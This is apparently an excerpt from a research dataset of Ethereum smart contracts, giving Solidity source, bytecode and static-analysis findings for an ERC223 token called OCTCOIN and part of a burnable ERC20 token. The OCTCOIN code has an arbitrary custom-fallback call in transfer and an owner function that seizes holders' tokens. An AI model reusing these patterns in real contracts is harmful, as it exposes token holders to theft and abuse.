c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,976 |
0xbc90c835f2bc5255078cefc2a9c37cde0db2cae5
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract OCTCOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "OCTCOIN";
string public symbol = "OCTC";
uint8 public decimals = 6;
uint256 public totalSupply = 50e9 * 1e6;
uint256 public distributeAmount = 0;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
function OCTCOIN() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e6);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e6);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e6);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101245763ffffffff60e060020a60003504166306fdde03811461012e578063095ea7b3146101b857806318160ddd146101ee57806323b872dd14610213578063313ce5671461023b5780634f25eced1461026457806364ddc6051461027757806370a08231146103065780638da5cb5b14610325578063945946251461035457806395d89b41146103a55780639dc29fac146103b8578063a8f11eb914610124578063a9059cbb146103da578063b414d4b6146103fc578063be45fd621461041b578063c341b9f614610480578063cbbe974b146104d3578063d39b1d48146104f2578063dd62ed3e14610508578063dd9245941461052d578063f0dc4171146105bc578063f2fde38b1461064b578063f6368f8a1461066a575b61012c610711565b005b341561013957600080fd5b610141610886565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017d578082015183820152602001610165565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c357600080fd5b6101da600160a060020a036004351660243561092e565b604051901515815260200160405180910390f35b34156101f957600080fd5b61020161099a565b60405190815260200160405180910390f35b341561021e57600080fd5b6101da600160a060020a03600435811690602435166044356109a0565b341561024657600080fd5b61024e610baf565b60405160ff909116815260200160405180910390f35b341561026f57600080fd5b610201610bb8565b341561028257600080fd5b61012c600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610bbe95505050505050565b341561031157600080fd5b610201600160a060020a0360043516610d18565b341561033057600080fd5b610338610d33565b604051600160a060020a03909116815260200160405180910390f35b341561035f57600080fd5b6101da60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610d4292505050565b34156103b057600080fd5b610141610fcf565b34156103c357600080fd5b61012c600160a060020a0360043516602435611042565b34156103e557600080fd5b6101da600160a060020a036004351660243561112a565b341561040757600080fd5b6101da600160a060020a0360043516611205565b341561042657600080fd5b6101da60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061121a95505050505050565b341561048b57600080fd5b61012c60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506112e59050565b34156104de57600080fd5b610201600160a060020a03600435166113e7565b34156104fd57600080fd5b61012c6004356113f9565b341561051357600080fd5b610201600160a060020a0360043581169060243516611419565b341561053857600080fd5b6101da60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061144495505050505050565b34156105c757600080fd5b6101da6004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506116f595505050505050565b341561065657600080fd5b61012c600160a060020a03600435166119c2565b341561067557600080fd5b6101da60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611a5d95505050505050565b600060065411801561073f5750600654600154600160a060020a031660009081526007602052604090205410155b80156107645750600160a060020a03331660009081526009602052604090205460ff16155b80156107875750600160a060020a0333166000908152600a602052604090205442115b151561079257600080fd5b60003411156107cf57600154600160a060020a03163480156108fc0290604051600060405180830381858888f1935050505015156107cf57600080fd5b600654600154600160a060020a03166000908152600760205260409020546107fc9163ffffffff611db516565b600154600160a060020a0390811660009081526007602052604080822093909355600654339092168152919091205461083a9163ffffffff611dc716565b600160a060020a033381166000818152600760205260409081902093909355600154600654919392169160008051602061220283398151915291905190815260200160405180910390a3565b61088e6121ef565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b820191906000526020600020905b81548152906001019060200180831161090757829003601f168201915b5050505050905090565b600160a060020a03338116600081815260086020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a038316158015906109ba5750600082115b80156109df5750600160a060020a038416600090815260076020526040902054829010155b8015610a125750600160a060020a0380851660009081526008602090815260408083203390941683529290522054829010155b8015610a375750600160a060020a03841660009081526009602052604090205460ff16155b8015610a5c5750600160a060020a03831660009081526009602052604090205460ff16155b8015610a7f5750600160a060020a0384166000908152600a602052604090205442115b8015610aa25750600160a060020a0383166000908152600a602052604090205442115b1515610aad57600080fd5b600160a060020a038416600090815260076020526040902054610ad6908363ffffffff611db516565b600160a060020a038086166000908152600760205260408082209390935590851681522054610b0b908363ffffffff611dc716565b600160a060020a03808516600090815260076020908152604080832094909455878316825260088152838220339093168252919091522054610b53908363ffffffff611db516565b600160a060020a03808616600081815260086020908152604080832033861684529091529081902093909355908516916000805160206122028339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60065481565b60015460009033600160a060020a03908116911614610bdc57600080fd5b60008351118015610bee575081518351145b1515610bf957600080fd5b5060005b8251811015610d1357818181518110610c1257fe5b90602001906020020151600a6000858481518110610c2c57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610c5a57600080fd5b818181518110610c6657fe5b90602001906020020151600a6000858481518110610c8057fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610cb057fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610cf057fe5b9060200190602002015160405190815260200160405180910390a2600101610bfd565b505050565b600160a060020a031660009081526007602052604090205490565b600154600160a060020a031681565b60008060008084118015610d57575060008551115b8015610d7c5750600160a060020a03331660009081526009602052604090205460ff16155b8015610d9f5750600160a060020a0333166000908152600a602052604090205442115b1515610daa57600080fd5b610dbd84620f424063ffffffff611dd616565b9350610dd18551859063ffffffff611dd616565b600160a060020a03331660009081526007602052604090205490925082901015610dfa57600080fd5b5060005b8451811015610f8257848181518110610e1357fe5b90602001906020020151600160a060020a031615801590610e68575060096000868381518110610e3f57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610ead5750600a6000868381518110610e7f57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610eb857600080fd5b610efc8460076000888581518110610ecc57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611dc716565b60076000878481518110610f0c57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610f3c57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206122028339815191528660405190815260200160405180910390a3600101610dfe565b600160a060020a033316600090815260076020526040902054610fab908363ffffffff611db516565b33600160a060020a0316600090815260076020526040902055506001949350505050565b610fd76121ef565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109245780601f106108f957610100808354040283529160200191610924565b60015433600160a060020a0390811691161461105d57600080fd5b6000811180156110865750600160a060020a038216600090815260076020526040902054819010155b151561109157600080fd5b600160a060020a0382166000908152600760205260409020546110ba908263ffffffff611db516565b600160a060020a0383166000908152600760205260409020556005546110e6908263ffffffff611db516565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006111346121ef565b60008311801561115d5750600160a060020a03331660009081526009602052604090205460ff16155b80156111825750600160a060020a03841660009081526009602052604090205460ff16155b80156111a55750600160a060020a0333166000908152600a602052604090205442115b80156111c85750600160a060020a0384166000908152600a602052604090205442115b15156111d357600080fd5b6111dc84611e01565b156111f3576111ec848483611e09565b91506111fe565b6111ec84848361206c565b5092915050565b60096020526000908152604090205460ff1681565b600080831180156112445750600160a060020a03331660009081526009602052604090205460ff16155b80156112695750600160a060020a03841660009081526009602052604090205460ff16155b801561128c5750600160a060020a0333166000908152600a602052604090205442115b80156112af5750600160a060020a0384166000908152600a602052604090205442115b15156112ba57600080fd5b6112c384611e01565b156112da576112d3848484611e09565b9050610ba8565b6112d384848461206c565b60015460009033600160a060020a0390811691161461130357600080fd5b600083511161131157600080fd5b5060005b8251811015610d135782818151811061132a57fe5b90602001906020020151600160a060020a0316151561134857600080fd5b816009600085848151811061135957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061139757fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a2600101611315565b600a6020526000908152604090205481565b60015433600160a060020a0390811691161461141457600080fd5b600655565b600160a060020a03918216600090815260086020908152604080832093909416825291909152205490565b600080600080855111801561145a575083518551145b801561147f5750600160a060020a03331660009081526009602052604090205460ff16155b80156114a25750600160a060020a0333166000908152600a602052604090205442115b15156114ad57600080fd5b5060009050805b84518110156115fe5760008482815181106114cb57fe5b906020019060200201511180156114ff57508481815181106114e957fe5b90602001906020020151600160a060020a031615155b801561153f57506009600086838151811061151657fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156115845750600a600086838151811061155657fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561158f57600080fd5b6115b8620f42408583815181106115a257fe5b906020019060200201519063ffffffff611dd616565b8482815181106115c457fe5b602090810290910101526115f48482815181106115dd57fe5b90602001906020020151839063ffffffff611dc716565b91506001016114b4565b600160a060020a0333166000908152600760205260409020548290101561162457600080fd5b5060005b8451811015610f825761165a84828151811061164057fe5b9060200190602002015160076000888581518110610ecc57fe5b6007600087848151811061166a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061169a57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206122028339815191528684815181106116d257fe5b9060200190602002015160405190815260200160405180910390a3600101611628565b6001546000908190819033600160a060020a0390811691161461171757600080fd5b60008551118015611729575083518551145b151561173457600080fd5b5060009050805b845181101561199957600084828151811061175257fe5b90602001906020020151118015611786575084818151811061177057fe5b90602001906020020151600160a060020a031615155b80156117c657506009600086838151811061179d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561180b5750600a60008683815181106117dd57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561181657600080fd5b611829620f42408583815181106115a257fe5b84828151811061183557fe5b6020908102909101015283818151811061184b57fe5b906020019060200201516007600087848151811061186557fe5b90602001906020020151600160a060020a03168152602081019190915260400160002054101561189457600080fd5b6118ed8482815181106118a357fe5b90602001906020020151600760008885815181106118bd57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611db516565b600760008784815181106118fd57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556119308482815181106115dd57fe5b915033600160a060020a031685828151811061194857fe5b90602001906020020151600160a060020a031660008051602061220283398151915286848151811061197657fe5b9060200190602002015160405190815260200160405180910390a360010161173b565b600160a060020a033316600090815260076020526040902054610fab908363ffffffff611dc716565b60015433600160a060020a039081169116146119dd57600080fd5b600160a060020a03811615156119f257600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611a875750600160a060020a03331660009081526009602052604090205460ff16155b8015611aac5750600160a060020a03851660009081526009602052604090205460ff16155b8015611acf5750600160a060020a0333166000908152600a602052604090205442115b8015611af25750600160a060020a0385166000908152600a602052604090205442115b1515611afd57600080fd5b611b0685611e01565b15611d9f57600160a060020a03331660009081526007602052604090205484901015611b3157600080fd5b600160a060020a033316600090815260076020526040902054611b5a908563ffffffff611db516565b600160a060020a033381166000908152600760205260408082209390935590871681522054611b8f908563ffffffff611dc716565b600160a060020a0386166000818152600760205260408082209390935590918490518082805190602001908083835b60208310611bdd5780518252601f199092019160209182019101611bbe565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611c6e578082015183820152602001611c56565b50505050905090810190601f168015611c9b5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611cbf57fe5b826040518082805190602001908083835b60208310611cef5780518252601f199092019160209182019101611cd0565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206122028339815191528660405190815260200160405180910390a3506001611dad565b611daa85858561206c565b90505b949350505050565b600082821115611dc157fe5b50900390565b600082820183811015610ba857fe5b600080831515611de957600091506111fe565b50828202828482811515611df957fe5b0414610ba857fe5b6000903b1190565b600160a060020a033316600090815260076020526040812054819084901015611e3157600080fd5b600160a060020a033316600090815260076020526040902054611e5a908563ffffffff611db516565b600160a060020a033381166000908152600760205260408082209390935590871681522054611e8f908563ffffffff611dc716565b600160a060020a03861660008181526007602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611f28578082015183820152602001611f10565b50505050905090810190601f168015611f555780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611f7557600080fd5b6102c65a03f11515611f8657600080fd5b505050826040518082805190602001908083835b60208310611fb95780518252601f199092019160209182019101611f9a565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206122028339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600760205260408120548390101561209257600080fd5b600160a060020a0333166000908152600760205260409020546120bb908463ffffffff611db516565b600160a060020a0333811660009081526007602052604080822093909355908616815220546120f0908463ffffffff611dc716565b600160a060020a03851660009081526007602052604090819020919091558290518082805190602001908083835b6020831061213d5780518252601f19909201916020918201910161211e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206122028339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820008ed21b11066d0097ef571fd6c84aa408abeaa07773625745548126f2bc4d4d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,977 |
0x43399077af6d51ec478f774c513af8985618e3f0
|
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
